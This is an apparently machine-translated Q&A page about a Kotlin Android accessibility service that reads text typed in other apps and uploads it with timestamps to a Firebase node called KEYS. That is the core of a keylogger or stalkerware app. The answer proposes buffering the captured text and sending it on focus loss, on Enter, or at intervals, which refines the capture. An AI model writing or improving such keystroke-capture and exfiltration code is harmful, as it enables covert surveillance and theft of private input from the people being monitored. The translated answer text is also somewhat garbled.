首页 > 解决方案 > 如何使用可访问性数据服务在 android 中使用 Kotlin 将数据从键盘发送到 Firebase

问题描述

我有一个 AccessibilityDataService 类,当有某个事件时启动一个活动

当 onAccessibilityEvent 被调用时,它需要数据并将数据发送到交互器(在下面的代码中)我使用 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED

它逐行获取数据并将其发送到交互器,但我希望立即发送整个数据:

@Inject lateinit var interactor: InteractorAccessibilityData

override fun onAccessibilityEvent(event: AccessibilityEvent) {

        when (event.eventType) {

            AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
                val data = event.text.toString()
                if (data != "[]") {
                    interactor.setDataKey("${getDateTime()} |(TEXT)| $data")
                    Log.i(TAG, "${getDateTime()} |(TEXT)| $data")

                }
            }
        }

    }

交互器的代码在这里:

override fun setDataKey(data: String) {
        if (firebase.getUser()!=null) firebase.getDatabaseReference(KEYS).child(DATA).push().child(TEXT).setValue(data)
    }

保存在 Firbase 中的数据就像 -> 这就是数据在 firebase 中的样子: 图片

但我只想要这种形式的数据->这就是我想要 Firebase 中的数据的方式: 图片

标签: androidfirebasekotlinfirebase-realtime-databaseaccessibilityservice

解决方案


也许尝试将输入存储在一个变量中并仅在下一次交互发生时将其发送到 firebase,例如:EditText 没有聚焦或按下某个按钮时 - 只有然后将字符串从变量发送到 firebase 我不知道,我我只是想用一些逻辑

可能是这样的->

var tempData: String

if (data != "[]") {

tempData = tempData + data

Log.i(TAG, "${getDateTime()} |(TEXT)| $temData")}

在用户单击某些按钮或停止聚焦 EditText 之后,将您的内容interactor.setDataKey("${getDateTime()} |(TEXT)| $data") 移出If ,然后添加您的

data = tempData

interactor.setDataKey("${getDateTime()} |(TEXT)| $data")

或者,在您的情况下,在与键盘交互 1 分钟或按下“输入”(如果可能的话)后,继续将数据存储到变量并将数据发送到 firebase,这并不完美,但它看起来会更好。 thi.this


推荐阅读